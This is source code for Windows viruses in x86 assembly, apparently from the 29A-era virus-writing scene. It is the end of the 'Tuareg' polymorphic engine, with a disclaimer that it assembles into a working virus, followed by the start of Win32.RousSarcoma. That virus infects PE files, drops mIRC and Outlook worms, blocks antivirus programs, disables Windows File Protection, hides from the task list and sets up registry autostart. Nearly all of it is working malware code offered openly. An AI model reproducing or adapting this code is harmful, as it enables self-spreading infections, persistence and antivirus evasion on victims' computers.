@@CJ_OK: pop eax ; Release the data in stack
pop eax
pop eax
mov eax, esi ; Put the displacement in AL
neg esi ; Calculate the distance until the opcode
mov byte ptr [edi+esi-1], al ; Set the displacement in
; the opcode
@@NoCheck:
call APICall_RestoreStack

@@End: mov byte ptr [ebp+ImInAPI], 0


@@End2: mov [esp+S_EDI], edi
popad
ret
InsertAPICall endp

APICall_StackOrder db 0
APICall_StackedRegs db 0, 0, 0

ImInAPI db 0
AnyAPIFound db 0
FirstAPICall db 0

APICall_SaveEAX proc
pushad
xor dl, dl
jmp APICall_SaveReg_Common
APICall_SaveEAX endp

APICall_SaveECX proc
pushad
mov dl, 1
jmp APICall_SaveReg_Common
APICall_SaveECX endp

APICall_SaveEDX proc
pushad
mov dl, 2
APICall_SaveReg_Common:
cmp byte ptr [ebp+Index1Register], dl
jz @@SaveReg
cmp byte ptr [ebp+Index2Register], dl
jz @@SaveReg
cmp byte ptr [ebp+BufferRegister], dl
jnz @@NoRegister
@@SaveReg:
movzx eax, byte ptr [ebp+APICall_StackOrder]
mov [ebp+eax+APICall_StackedRegs], dl
inc eax
mov [ebp+APICall_StackOrder], al
call DoPUSHReg
@@NoRegister:
call DoRandomGarbage
mov [esp+S_EDI], edi
popad
ret
APICall_SaveEDX endp

PushParameter proc
pushad
cmp al, 1
jb @@End
jz @@Random
cmp al, 3
jb @@Handle
jz @@Buffer
cmp al, 5
jb @@BufferSize
jz @@Byte
cmp al, 7
jb @@Flags
jz @@Null
cmp al, 9
jb @@VirtualPointer
@@VirtualSize:
mov al, 6Ah
stosb
call Random
and eax, 0Fh
add eax, 10h
stosb
jmp @@End
@@VirtualPointer:
mov al, 68h
stosb
call Random
and eax, 3FE0h
add eax, [ebp+EncryptedDataBeginAddress]
stosd
jmp @@End
@@Random: call Random
cmp eax, 7Fh
jbe @@RandomByte
cmp eax, 0FFFFFF80h
jae @@RandomByte
push eax
mov al, 68h
stosb
pop eax
stosd
jmp @@End
@@RandomByte:
push eax
mov al, 6Ah
stosb
pop eax
stosb
jmp @@End
@@Handle:
mov al, 68h
stosb
xor edx, edx
call Random
and eax, 1Fh
bts edx, eax
call Random
and eax, 1Fh
bts edx, eax
call Random
and eax, 1Fh
bts edx, eax
call Random
and eax, 07h
or eax, edx
stosd
jmp @@End
@@Buffer: call SelectAnAddressHigh
mov al, 68h
stosb
mov eax, ebx
stosd
jmp @@End
@@BufferSize:
mov al, 6Ah
stosb
call Random
and al, 1Fh
or al, 20h
and ah, 4
add al, ah
stosb
jmp @@End
@@Byte: mov al, 68h
stosb
call Random
and eax, 0FFh
cmp eax, 7Fh
jbe @@ByteByte
stosd
jmp @@End
@@ByteByte:
mov byte ptr [edi-1], 6Ah
stosb
jmp @@End
@@Null: mov ax, 006Ah
stosw
jmp @@End
@@Flags: xor edx, edx
call Random
and eax, 1Fh
bts edx, eax
call Random
and eax, 1Fh
bts edx, eax
call Random
and eax, 1Fh
bts edx, eax
mov al, 68h
stosb
mov eax, edx
stosd
@@End: mov [esp+S_EDI], edi
popad
ret
PushParameter endp

APICall_RestoreStack proc
pushad
movzx eax, [ebp+APICall_StackOrder]
or eax, eax
jz @@End
@@Loop01: dec eax
js @@End
mov dl, [ebp+eax+APICall_StackedRegs]
push eax
call DoPOPReg
call DoRandomGarbage
pop eax
jmp @@Loop01
@@End: mov [esp+S_EDI], edi
popad
ret
APICall_RestoreStack endp

;; API information
;; Each API information has the next format:
;;
;; +00: Checksum of API name (DWORD)
;; +04: Virtual address that will have in file, 0 if not available/imported
;; +08-09-0A: Parameters in standard order (in reverse-PUSHing order):
;; 0=No parameter (last one)
;; 1=Random number
;; 2=Pseudo-handle
;; 3=Buffer address (beware with frame)
;; 4=Buffer size
;; 5=Number between 0 and 255
;; 6=Pseudo-flags
;; 7=NULL
;; 8=Any virtual address (for IsBad* funcs)
;; 9=Virtual size (for IsBad* funcs)
;; +0B: byte: Value returning check: 0=0, 1=-1, 2=Boolean, 3=Void or random
;; (no check)
;; +0C: Reserved
;;

APIInfo label dword ;; There are 32 API information blocks, ordered


;; DWORD GetCommandLineaA(void) ; in frequency of use (in my opinion) in an
dd 009654E3h, 0 ; application
db 0, 0, 0, 3
dd 0
;; void GetStartupInfoA(Pointer)
dd 009DB67Fh, 0
db 3, 0, 0, 3
dd 0
;; DWORD GetEnvironmentStrings(void)
dd 14F02D92h, 0
db 0, 0, 0, 3
dd 0
;; DWORD GetVersion(void)
dd 00217C32h, 0
db 0, 0, 0, 3
dd 0
;; DWORD GetModuleHandleA(Pointer)
dd 0FFFFFFFFh, 0 ; dd 0005CD63h, 0
db 3, 0, 0, 0 ; Disabled. The fucking Windblows hangs the program
dd 0 ; if there is any problem with the pointer, instead of
; returning an error
;; DWORD GetModuleFileNameA(Handle,Buffer,Buffer_Size)
dd 00B83717h, 0
db 2, 3, 4, 0
dd 0
;; DWORD MulDiv(Random,Random,Random)
dd 000007EAh, 0
db 1, 1, 1, 1
dd 0
;; DWORD GetACP(void)
dd 00000BEBh, 0
db 0, 0, 0, 3
dd 0
;; DWORD GetOEMCP(void)
dd 000090CBh, 0
db 0, 0, 0, 3
dd 0
;; DWORD GetCPInfo(CodePage,Buffer)
dd 0004C11Fh, 0
db 5, 3, 0, 0
dd 0
;; DWORD GetStdHandle(Flags)
dd 00004C91h, 0
db 6, 0, 0, 1
dd 0
;; DWORD GetLastError(void)
dd 0038408Eh, 0
db 0, 0, 0, 3
dd 0
;; void GetLocalTime(Buffer)
dd 00037E63h, 0
db 3, 0, 0, 3
dd 0
;; void GetSystemInfo(Buffer)
dd 0125711Fh, 0
db 3, 0, 0, 3
dd 0
;; DWORD GetCurrentProcess(void)
dd 46C8D729h, 0
db 0, 0, 0, 3
dd 0
;; DWORD GetCurrentProcessID(void)
dd 8D91AE5Fh, 0
db 0, 0, 0, 3
dd 0
;; DWORD GetCurrentThread(void)
dd 0048DF27h, 0
db 0, 0, 0, 3
dd 0
;; DWORD GetCurrentThreadID(void)
dd 0091BE43h, 0
db 0, 0, 0, 3
dd 0
;; DWORD GetConsoleCP(void)
dd 025AF28Bh, 0
db 0, 0, 0, 3
dd 0
;; DWORD GetCurrentDirectoryA(Buffer_Size,Buffer)
dd 2369A80Ah, 0
db 4, 3, 0, 0
dd 0
;; DWORD GetWindowsDirectoryA(Buffer,Buffer_Size)
dd 6D1CE819h, 0
db 3, 4, 0, 0
dd 0
;; DWORD GetSystemDirectoryA(Buffer,Buffer_Size)
dd 4948E80Bh, 0
db 3, 4, 0, 0
dd 0
;; DWORD GetDriveTypeA(NULL)
dd 00019307h, 0
db 7, 0, 0, 3
dd 0
;; BOOL GetComputerNameA(Buffer,Buffer_Size)
dd 012DB157h, 0
db 3, 4, 0, 2
dd 0
;; BOOL IsBadWritePtr(Buffer,Buffer_Size)
dd 0022A17Eh, 0
db 8, 9, 0, 2
dd 0
;; DWORD GetTickCount(void)
dd 00F97476h, 0
db 0, 0, 0, 3
dd 0
;; BOOL IsBadReadPtr(Buffer,Buffer_Size)
dd 000450BEh, 0
db 8, 9, 0, 2
dd 0
;; BOOL IsBadCodePtr(Buffer)
dd 0022A3EEh, 0
db 8, 0, 0, 2
dd 0
;; DWORD GetCurrentFiber(void)
dd 048DC056h, 0
db 0, 0, 0, 3
dd 0
;; DWORD LocalHandle(Address)
dd 00020491h, 0
db 8, 0, 0, 0
dd 0
;; DWORD LocalSize(Address)
dd 00101B69h, 0
db 8, 0, 0, 0
dd 0
;; DWORD LocalFlags(Handle)
dd 00040780Bh, 0
db 2, 0, 0, 1
dd 0

;; This function calls in a random order to the addresses of the functions


;; passed in EBX, ECX, EDX and ESI. It exchanges randomly its values among
;; them to get a random order, and after that pushes in the stack all this
;; addresses, so when the called functions return, the next function take
;; control, and in last terme the return of this function is complete (it's
;; the same than doing CALL EBX/CALL ECX/CALL EDX/CALL ESI/RET in the part
;; where we push the addresses, but pushing them we save bytes and we haven't
;; to save the register values).
RandomCalling proc
mov eax, 5 ; Do the garbling 5 times
@@J_00: call RandomFlags ; Get random ZF, SF, CF and PF
jz @@J_01 ; Jump if ZF
xchg ebx, ecx ; Exchange
@@J_01: js @@J_02 ; Jump if SF
xchg ecx, edx ; Exchange
@@J_02: jc @@J_03 ; Jump if CF
xchg edx, esi ; Exchange
@@J_03: jp @@J_04 ; Jump if JP
xchg esi, ebx ; Exchange
@@J_04: dec eax
jnz @@J_00 ; Repeat 5 times
push ebx ; Push all garbled addresses
push ecx
push edx
jmp esi ; Jump here and conserve the return address
RandomCalling endp

;; One of the most used functions in the engine. I think it's idea of Vecna
;; in one of his viruses. You get a random number and you save this random
;; as flags, so you have random flags to use with conditional jumps, getting
;; the same effect as CALL Random/AND AL,1/JZ xxx, but more optimized and with
;; more flags to use. Since SAHF only saves the general purpose flags, the
;; ones that can be modified with CMP (for example), we are sure that others
;; like IF or TF (important ones) are not modified.
RandomFlags proc
push eax ; Save EAX
call Random ; Get a random number in AH
sahf ; Load it in the flags register
pop eax ; Restore EAX
ret ; Return
RandomFlags endp

;; The random generator. I use this routine since MeDriPolEn, and it had a 48
;; bits seed which generated near a perfect random sequence. Now it's conver-
;; ted to 32 bits, so it has a 96 bits seed (!!! - outstanding!).
Random proc
push ecx ; Save register
mov eax, [ebp+DwordAleatorio1] ; Get 1st seed
dec dword ptr [ebp+DwordAleatorio1] ; Decrease to avoid linearity
xor eax, [ebp+DwordAleatorio2] ; XOR with 2nd seed
mov ecx, eax ; Result in CL
rol dword ptr [ebp+DwordAleatorio1], cl ; ROL the 1st seed CL
; times (random)
add [ebp+DwordAleatorio1], eax ; Add (1st XOR 2nd) to 1st
adc eax, [ebp+DwordAleatorio2] ; Add the 2nd seed to (1st XOR 2nd)
; with CF (random CF at the moment)
add eax, ecx ; EAX=(1st XOR 2nd)+2nd+CF
ror eax, cl ; EAX=EAX ROL (byte)(1st XOR 2nd)
not eax ; NOT (this breaks a possible proximity)
sub eax, 3 ; Subtract odd constant (break the linearity)
xor [ebp+DwordAleatorio2], eax ; Modify 2nd seed
xor eax, [ebp+DwordAleatorio3] ; XOR 3rd seed with the until-this-
; moment result
rol dword ptr [ebp+DwordAleatorio3], 1 ; Modify 3rd seed (ROL)...
sub dword ptr [ebp+DwordAleatorio3], ecx ; ...and with a 1st/2nd
; seed dependant variable
sbb dword ptr [ebp+DwordAleatorio3], 4 ; Subtract a constant value
; that could be 4 or 5
inc dword ptr [ebp+DwordAleatorio2] ; Break linearity on 2nd seed
pop ecx ; Restore register
ret ; Return
Random endp

SystemTimeReceiver label dword ; Here we put what the API GetSystemTime


DwordAleatorio1 dd 12345678h ; returns. Then we put DwordAleatorio3 as
DwordAleatorio2 dd 9ABCDEF0h ; a modification of DwordAleatorio1 and 2,
DwordAleatorio3 dd 97654321h
;dd 87654321h ; which are Year/Month/Day of the week/Day,
dd 0 ; so it's day-dependant (slow polymorphism)
dd 0 ; This variables to 0 are to make space for
; the function return values

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; End of TUAREG
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;ËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËË;
;ÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐ;

;; These are the checksums of the API names. The checksum is calculated with:
;; XOR EAX,EAX
;; MOV ESI,offset String
;;Loop:
;; MOV CL,[ESI]
;; AND CL,3
;; ROL EAX,CL
;; XOR AL,[ESI]
;; INC ESI
;; CMP BYTE PTR [ESI],0
;; JNZ Loop
;;
;; Which I think is quite variable and in theory it wouldn't make any problem
;; of coincidences, since it's quite variable in the result.
;; Then, the results of making this checksums (or whatever it is) to the
;; API names are as follows:
CRC_APIs label dword
CRC_GetProcAddress dd 0342CDABh
CRC_CreateFileA dd 000147CFh
CRC_CreateProcessA dd 0A64AE17h
CRC_FindFirstFileA dd 0070244Fh
CRC_FindNextFileA dd 0003820Fh
CRC_GetFileAttributesA dd 008AEB57h
CRC_SetFileAttributesA dd 00A2EB57h
CRC_GetFullPathNameA dd 00023117h
CRC_MoveFileA dd 0002148Fh
CRC_CopyFileA dd 00008C4Fh
CRC_DeleteFileA dd 00004ACFh
CRC_WinExec dd 00006EDBh
CRC__lopen dd 00000DC2h
CRC_MoveFileExA dd 000429A7h
CRC_OpenFile dd 00000157h
CRC_ExitProcess dd 0014572Bh

CRC_WriteProcessMemory dd 0A8AE3121h
CRC_GetCurrentProcess dd 46C8D729h
CRC_CreateFileMappingA dd 0147EFAFh
CRC_MapViewOfFile dd 00950AD7h
CRC_UnmapViewOfFile dd 043D0AD7h
CRC_CloseHandle dd 00011811h
CRC_SetFilePointer dd 0014B9D6h
CRC_GetFileTime dd 00004783h
CRC_SetFileTime dd 00005383h
CRC_GetWindowsDirectoryA dd 6D1CE819h
CRC_GetCurrentDirectoryA dd 2369A80Ah
CRC_SetCurrentDirectoryA dd 7369A80Ah
CRC_GetSystemDirectoryA dd 4948E80Bh
CRC_GetSystemTime dd 00092963h
CRC_LoadLibraryA dd 0011B62Bh
CRC_FindClose dd 000E69F3h
CRC_WriteFile dd 00004F07h
CRC_FreeLibrary dd 000AE335h
dd 0 ; This signalizes the end of the APIs

;; This is the space that we use to store the addresses to the API functions.
FunctionsToPatch label dword
RVA_GetProcAddress dd 0 ; This first 15 are used for per-process
RVA_CreateFileA dd 0 ; residency
RVA_CreateProcessA dd 0
RVA_FindFirstFileA dd 0
RVA_FindNextFileA dd 0
RVA_GetFileAttributesA dd 0
RVA_SetFileAttributesA dd 0
RVA_GetFullPathNameA dd 0
RVA_MoveFileA dd 0
RVA_CopyFileA dd 0
RVA_DeleteFileA dd 0
RVA_WinExec dd 0
RVA__lopen dd 0
RVA_MoveFileExA dd 0
RVA_OpenFile dd 0
RVA_ExitProcess dd 0

RVA_WriteProcessMemory dd 0
RVA_GetCurrentProcess dd 0
RVA_CreateFileMappingA dd 0
RVA_MapViewOfFile dd 0
RVA_UnmapViewOfFile dd 0
RVA_CloseHandle dd 0
RVA_SetFilePointer dd 0
RVA_GetFileTime dd 0
RVA_SetFileTime dd 0
RVA_GetWindowsDirectoryA dd 0
RVA_GetCurrentDirectoryA dd 0
RVA_SetCurrentDirectoryA dd 0
RVA_GetSystemDirectoryA dd 0
RVA_GetSystemTime dd 0
RVA_LoadLibraryA dd 0
RVA_FindClose dd 0
RVA_WriteFile dd 0
RVA_FreeLibrary dd 0

NumberOfFunctions equ ($ - offset FunctionsToPatch) / 4

align 4 ; Align (for memory accesses in the decryptor)

SystemTime label dword


Year dw 0
Month dw 0
DayOfWeek dw 0
Day dw 0
Hours dw 0
Minutes dw 0
Seconds dw 0
Miliseconds dw 0

org SystemTime

FindFileField label dword


FileAttributes dd 0
CreationTime dd 0
dd 0
LastAccessTime dd 0
dd 0
LastWriteTime dd 0
dd 0
FileSizeHigh dd 0
FileSizeLow dd 0
Reserved dd 0
dd 0
FileName db 104h dup (0)
AlternateFileName db 10h dup (0)
FindFileFieldSize equ $ - offset FindFileField

FileTime dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0

align 4 ; Align on a 4-byte boundary to give the virus


; a size multiple of 4
End_Virus label dword
;; The virus ends here

;; This is a fake host that only says that you have been infected and then
;; you are stupid for playing with files of unknown source :P (only first
;; generation!)
FakedHost: push 0
push offset Titulo
push offset Mensaje
push 0
call MessageBoxA
push 0
call ExitProcess

db 10000h dup (90h) ; Complete to avoid exceptions when


; zeroing on first generation

end TuaregMain ; End directive

It's curious, but when you put the END directive under TASM, you can write
whatever you want after it and it won't be considered (I'm writing without
semicolons! :)

dsadjshajkdhsajkd
dsa
fds
fds
afdsa :P

(c)The Mental Driller/29A, somewhen on November, 2000

This code is only for research and educational purposes. The assembling of
this file will produce a fully functional virus, so you have been warned! If
this kind of material is illegal in your country or state, you should remove
it from your computer. The author of this virus declines any illegal activity
including possesion and/or spreading by the possesor of the virus sourced
here. The spreading of this virus could save any life that receives the money
of anyone who got his/her web start page changed and used the
http://www.thehungersite.com donation services, but since the spreading is
illegal in the majority of the world, theorically this virus should not be
spreaded. So, do what you want :), but I'm not responsible.
;
;
; .--------------------------------.
; | |
; | Win32.RousSarcoma by SnakeByte |
; | SnakeByte@kryptocrew.de |
; | www.kryptocrew.de/snakebyte |
; .__________________________________.
;
;
; This virus was created by the idea of coding a retro virus, which
; is able too fool with some AV's. I was not able to realize all my ideas,
; but I think it is some fun. This virus uses some tricks to make disinfection
; harder. I came to the idea of making a virus which is able to drop itself to
; the original EXE File, when I saw that most AV's do not detect the first
; generation of a lot of viruses. Therefore the one part of this virus stays
; undetected by heuristics. Generally this virus consits of 2 parts. The EXE File
; Part and the one which is executed with an infected file. It "hooks" the execution
; of every EXE File and does not execute it if it is an AV. If it is none, it gets
; infected and started. Before starting the file it also checks if there is an
; mirc.ini in the same path. If there is one, it drops a mirc script worm. In Addition
; to this, the virus install itself in the registry to get started every time with windows.
; It searches the registry for more paths to infect files there. If it can't find more
; paths it drops a vbs script to send the worm around via Outlook.
;
; I am not good at writing so here is an overview of what
; the virus does :
;
;
; Name : Win32.RousSarcoma
; Type : PE-Appender by increasing last section
; Worming : Yes, mIRC Script and VBS Worm
; Operating System : Win32
; Author : SnakeByte
; Payload : None, too boring to write one ;) [ Got some other interesting stuff
; in mind i want to code as soon as possible ]
; Virus Size : 8192 Bytes
; Infection Mark : A-AV
; Encryption : None
; Autostart : RunOnce & exefiles
; Anti-Bait : Does not infect files < 20000 Bytes
; Anti-Debugging : Yes, against SoftIce and Int 1h tracing
; Anti-AV : Yes, does not allow the execution of several AV's
; disables Win2k File Protection
; Anti-User : Hides itself in files & several different places,
; is not shown at ctrl-alt-del list
; Runs at Level : Ring-3, but still infects every EXE File on executing
; Infects : 10 Files in the current directory,
; 10 Files in every path stored in this registry Key :
; HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths
; Every EXE File which gets executed
;
; How to compile ( TASM 5.0 ) :
;
; tasm32 /z /ml /m3 RousSarc,,;
; tlink32 -Tpe -c RousSarc,RousSarc,, import32.lib
; pewrsec RousSarc.EXE
;
; ( Make sure that the .EXE is uppercases !! )
;
; At the moment there are just 100 Bytes of Code i could add, with the file staying
; at 8192 Bytes. If I would add more, the file would grow to 12 KB. I decided to
; keep it small and leave stuff out like encryption or even poly. Maybe it could
; be optimized on several parts to make it fit with encryption to a 8 KB file,
; but I don't mind at the moment
;
;
;
; Thanks and greetz to :
;
; Lord Arz : Did you also finish your EXEFILES "hooking" something ? ;)
; DukeCS : Heh, when will KC be done ? *fg*
; Matsad : Sorry, for not coming, but i got no cash and need to see my girlfriend :P
; Lethal Mind : Heh, where are you ? ;(
; Ciatrix : Nice that you carry on !
;
;

; ***************************************************************************
; ------------------------[ Let's get ready to rumble ]----------------------
; ***************************************************************************

.586p
.model flat
jumps ; calculate Jumps
.radix 16 ; Hexadecimal numbers

; define some API's


extrn ExitProcess:PROC ; Host for EXE-Part
extrn LoadLibraryA:PROC ; nessesairy to get all other API's in the EXE-Part
extrn GetProcAddress:PROC ; cause I don't want DLL not found error's

extrn MessageBoxA:PROC ; for testing

.code
; Some constants
VirusSize equ 8192d ; Lenght of EXE-File
ImageBase equ 400000h ; Imagebase of our TASM generated EXE-File

CPart1 equ 600h


Gap1 equ 0A00h

; ###########################################################################
; -------------------[ This is the first part of the virus ]-----------------
; ###########################################################################
Virus:
; Here do we search for EXE-files and put the
; entire PE-Virus EXE to the end !
; we search for the needed api's with GetProcAdress
; and LoadModuleHandle, so we will not get Problems
; with missing DLL's or API's

mov ebp, 'VA-A' ; place a mark in ebp, to identify this part

lea eax, KERNEL32 ; push name of kernel32.dll


push eax
call LoadLibraryA ; save Handle
mov dword ptr [K32Handle], eax
test eax, eax ; if we failed we stop here
jz FirstGenHost

lea esi, Kernel32Names ; get all API's we need from kernel


lea edi, XFindFirstFileA
mov ebx, K32Handle
push NumberOfKernel32APIS
pop ecx
call GetAPI3 ; the procedure is needed in both parts

lea eax, advname ; push name of advapi32.dll


push eax
call LoadLibraryA ; save Handle
mov dword ptr [ADVHandle], eax
test eax, eax ; if we failed we stop here
jz FirstGenHost

lea esi, AdvapiNames ; get all API's we need from kernel


lea edi, XRegOpenKeyExA
mov ebx, ADVHandle
push NumberOfAdvapiAPIS
pop ecx
call GetAPI3 ; the procedure is needed in both parts

; Lets hide our Application from the CTRL-ALT-DEL List,


; to prevent us from being detected by a suspicious user ;)

; Check if the API is available


cmp dword ptr [XRegisterServiceProcess],0
je NoHide

; Get ID of our process


call dword ptr [XGetCurrentProcessId]

push 1 ; We want to run as a service


push eax ; process id
call dword ptr [XRegisterServiceProcess]

NoHide:

; ***************************************************************************
; ---------------------------[ Initialisation ]------------------------------
; ***************************************************************************
; Lets do a check on our commandline params,
; to see, if we got startet with a filename
; in it --> exefile method

call dword ptr [XGetCommandLineA]


mov dword ptr [CmdLine], eax

; the start of the commandline is in eax,


; we will parse it to the .exe part to see
; if there is anything afterwards
CommandReceive1:
cmp dword ptr [eax],'EXE.'
je CommandOK1
inc eax
jmp CommandReceive1

CommandOK1:
add eax, 4h ; eax points directly after the <name>.exe
cmp byte ptr [eax], 0 ; if the Commandline ends here, we do not need
je SetRunOnceKey ; to care about this ;)

add eax, 2h ; skip blanc and "


mov esi, eax ; save it
mov dword ptr [SaveBlanc], esi

push esi
call AVNameCheck
cmp esi, 0
je AVMessage
pop esi
jmp mIRCcheck

AVMessage: ; Arg ! Dirty AV found .. :P


pop esi ; lets drop a message

push 30h ; Style


push esi
push offset AVMsg
push 0
call MessageBoxA
jmp SetRunOnceKey

AVMsg db "File is corrupted. Can't start program",0

PathEnd dd 0h

mIRCcheck: ; we search for the path


pushad

push offset PathEnd


push offset NameBuffer
push 255d
push dword ptr [SaveBlanc]
call dword ptr [XGetFullPathNameA]

mov edi, dword ptr [PathEnd]


mov esi, offset mircINI ; append the mirc.ini to the path
mov ecx, 9d
rep movsb ; and now we need to check if the mIRC.ini does exist
; if it does, we found a mirc script to infect *eg*
; because we infect it bevore mIRC gets loaded, we do not
; need to fear the mIRC worm protection
lea esi, NameBuffer
call FindFirstFileProc
cmp eax, -1 ; we did not found the mirc.ini ;(
je NoMirc

push offset NameBuffer ; Write our entry to the file


push offset MIRCprot
push offset MOffset
push offset MIRCrfiles
call dword ptr [XWritePrivateProfileStringA]

mov edi, dword ptr [PathEnd]


mov esi, offset MIRCprot ; append the RousSarc.ini to the path
mov ecx, 13d
rep movsb ; and now we need to check if the mIRC.ini does exist

push 0
push 080h ; normal attribs
push 2h ; create a new file (always)
push 0
push 0
push 0C0000000h ; read + write
lea eax, NameBuffer ; file we create
push eax
Call dword ptr [XCreateFileA]
cmp eax, 0FFFFFFFFh
je NoMirc

push eax ; save filehandle

push 0 ; write script to file


push offset Write
push offset EndScript - offset MIRCscript
push offset MIRCscript
push Handle
call dword ptr [XWriteFile]

; Handle is still on the stack, so we close the file


call dword ptr [XCloseHandle]

NoMirc:
; close the search handle
push dword ptr [FindHandle]
call dword ptr [XCloseHandle]
popad

CommandReceive2: ; so we will be able to locate the file and


cmp byte ptr [eax],'.' ; infect it
je CommandOK2
cmp byte ptr [eax],0 ; check if we don't get too far
je Outbreak
inc eax
jmp CommandReceive2
CommandOK2:
add eax, 4h
cmp byte ptr [eax],0
jne ZeroAfterName
mov byte ptr [eax+1],0
ZeroAfterName:
mov byte ptr [eax],0 ; we place a Zero here, so we can do a findfirst
; on the filename which is in esi

push eax
push esi
call FindFirstFileProc
pop esi ; esi points to start of filename
pop ebx ; ebx points to the parameters

cmp eax, -1 ; file is not there :(


je Outbreak ; we infect some others

pushad ; save registers


lea edi, WFD_szFileName
mov ecx, ebx ; lenght of filename in ecx
sub ecx, esi
inc ecx
rep movsb ; write filename & path there

lea esi, WFD_szFileName ; point to filename


call InfectFile ; infect file
popad ; restore registers

; esi points to start of filename


; ebx points to the parameters
mov byte ptr [ebx], " " ; place a blank here

xor eax, eax ; let's execute the file


push offset ProcessInformation
push offset StartupInfo
push eax ; lpCurrentDirectory
push eax ; lpEnvironment
push eax ; Create_New_Process_Group & Normal_Priority_Class
push eax ; bInheritHandles
push eax ; lpThreadAttributes
push eax ; lpProcessAttributes
push esi ; filename with commandline
push eax ; command line
call dword ptr [XCreateProcessA]

SetRunOnceKey: ; Here we go if we found an AV or got


; or after executing a program
; lets add 2 autostart features

; Now we store the name of this file in the RunOnce key


; ( we add our file that regulary, that it will be always there,
; but nearly noone looks for files in this key *g* )
push offset RegHandle
push 001F0000h ; complete access
push 0h ; reserved
push offset RunOnceKey ; check if our key exists
push HKEY_LOCAL_MACHINE ; HKEY_LOCAL_MACHINE
call dword ptr [XRegOpenKeyExA]

cmp eax, 0
jne CheckOwnKey

xor eax, eax ; search for end of Systemdirectory


lea edi, NameBuffer
mov ebx, edi
repnz scasb
sub ebx, edi
inc ebx

push ebx
push offset NameBuffer ; Value
push 1h ; String
push 0 ; reserved
push offset Valuename ; value name
push dword ptr [RegHandle]
call dword ptr [XRegSetValueExA]

push dword ptr [RegHandle]


call dword ptr [XRegCloseKey]

jmp FirstGenHost

SaveBlanc dd 0h
EXEFilesKey db 'exefile\shell\open\command',0
EXEFilesValue db 'RousSarc.EXE "%1" %*',0
EFVSize equ $ - offset EXEFilesValue

; ***************************************************************************
; ------------------------------[ Outbreak ! ]-------------------------------
; ***************************************************************************
Outbreak: ; We got no commandline !
HKEY_CURRENT_USER equ 80000001h
HKEY_LOCAL_MACHINE equ 80000002h
; first of all, let's disable the win2k virus protection
push offset RegHandle
push 001F0000h ; complete access
push 0h ; reserved
push offset _2kProt ; check if our key exists
push HKEY_LOCAL_MACHINE ; HKEY_LOCAL_MACHINE
call dword ptr [XRegOpenKeyExA]

test eax, eax ; if we failed opening the key, we return


jz No2kProt

; Value to disable Windows File Protection


mov dword ptr [RegBuffer], 0ffffff9dh

push 4
push offset RegBuffer ; Value
push 4h ; REG_DWORD
push 0 ; reserved
push offset _2kProtValue ; value name
push dword ptr [RegHandle]
call dword ptr [XRegSetValueExA]

; Close it again
push dword ptr [RegHandle]
call dword ptr [XRegCloseKey]

No2kProt: ; Now we will copy ourselfes into the windows directory


; to be able to respond to every started file
; we just got the cmd line
mov eax, dword ptr [CmdLine]
CommandReceive3:
cmp dword ptr [eax],'EXE.'
je CommandOK3
inc eax
jmp CommandReceive3

CommandOK3:
add eax, 4h ; eax points directly after the <name>.exe
mov byte ptr [eax], 0 ; Place a 0 here to copy the file

push 255d
push offset NameBuffer
call dword ptr [XGetWindowsDirectoryA]

xor eax, eax ; search for end of Systemdirectory


lea edi, NameBuffer
repnz scasb
dec edi
lea esi, RunOnceName ; Append Filename
mov ecx, 13d
rep movsb

; Copy our file to the system directory


push 1
push offset NameBuffer ; where to store
push dword ptr [CmdLine] ; existing
call dword ptr [XCopyFileA]

; Lets set the Exefiles Key


push offset RegHandle
push 001F0000h ; complete access
push 0h ; reserved
push offset EXEFilesKey ; Open It
push 80000000h ; HKEY_CLASSES_ROOT
call dword ptr [XRegOpenKeyExA]

cmp eax, 0
jne CheckOwnKey

; Let's set our Value


push EFVSize
push offset EXEFilesValue ; Value
push 1h ; String
push 0h ; reserved
push 0h ; value name
push dword ptr [RegHandle]
call dword ptr [XRegSetValueExA]

push dword ptr [RegHandle]


call dword ptr [XRegCloseKey]

CheckOwnKey:
mov dword ptr [RegBuffer], 0h

push offset RegHandle


push 001F0000h ; complete access
push 0h ; reserved
push offset MyKey ; check if our key exists
push HKEY_CURRENT_USER ; HKEY_CURRENT_USER
call dword ptr [XRegOpenKeyExA]

test eax, eax ; if we failed opening the key, we return


jz KeySet

xor eax, eax ; clear eax


push offset Dispostiton
push offset RegHandle
push eax ; security attribs
push 001F0000h ; complete access
push eax ; REG_OPTION_NON_VOLATILE
push eax ; lpClass
push eax ; reserved
push offset MyKey ; Subkey
push HKEY_CURRENT_USER ; HKEY_CURRENT_USER
call dword ptr [XRegCreateKeyExA]

KeySet:

push offset RegData2


push offset RegBuffer
push offset RegData1
push 0
push offset Valuename
push dword ptr [RegHandle]
call dword ptr [XRegQueryValueExA]
; RegBuffer contains now a value after which
; we decide what to do, but first, we increment the
; value and save it
inc dword ptr [RegBuffer] ; Increment Value

push 4
push offset RegBuffer ; Value
push 4h ; REG_DWORD
push 0 ; reserved
push offset Valuename ; value name
push dword ptr [RegHandle]
call dword ptr [XRegSetValueExA]

; Close the key


push dword ptr [RegHandle]
call dword ptr [XRegCloseKey]

mov eax, dword ptr [RegBuffer]

; Now we decide what to do ( we start with 2 because we just incremented it and i will not
do anything after
; the second start, cause we need one reboot to disable WFP ) :
;
; Value - what to do
;
; 2 - infect directory 1 of
; HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths
; 3 - " " 2 " ""
; 4 - " " 3 " ""
; 5 - " " 4 " ""
; 6 - " " 5 " ""
; ... no more directorys in RegKey ? --> set value to 0

dec eax
dec eax

jz NoRegistryInfection
push eax

push offset RegHandle


push 001F0000h ; complete access
push 0h ; reserved
push offset AppPaths ; App Paths are stored here
push HKEY_LOCAL_MACHINE ; HKEY_LOCAL_MACHINE
call dword ptr [XRegOpenKeyExA]

pop eax

push 255d
push offset NameBuffer
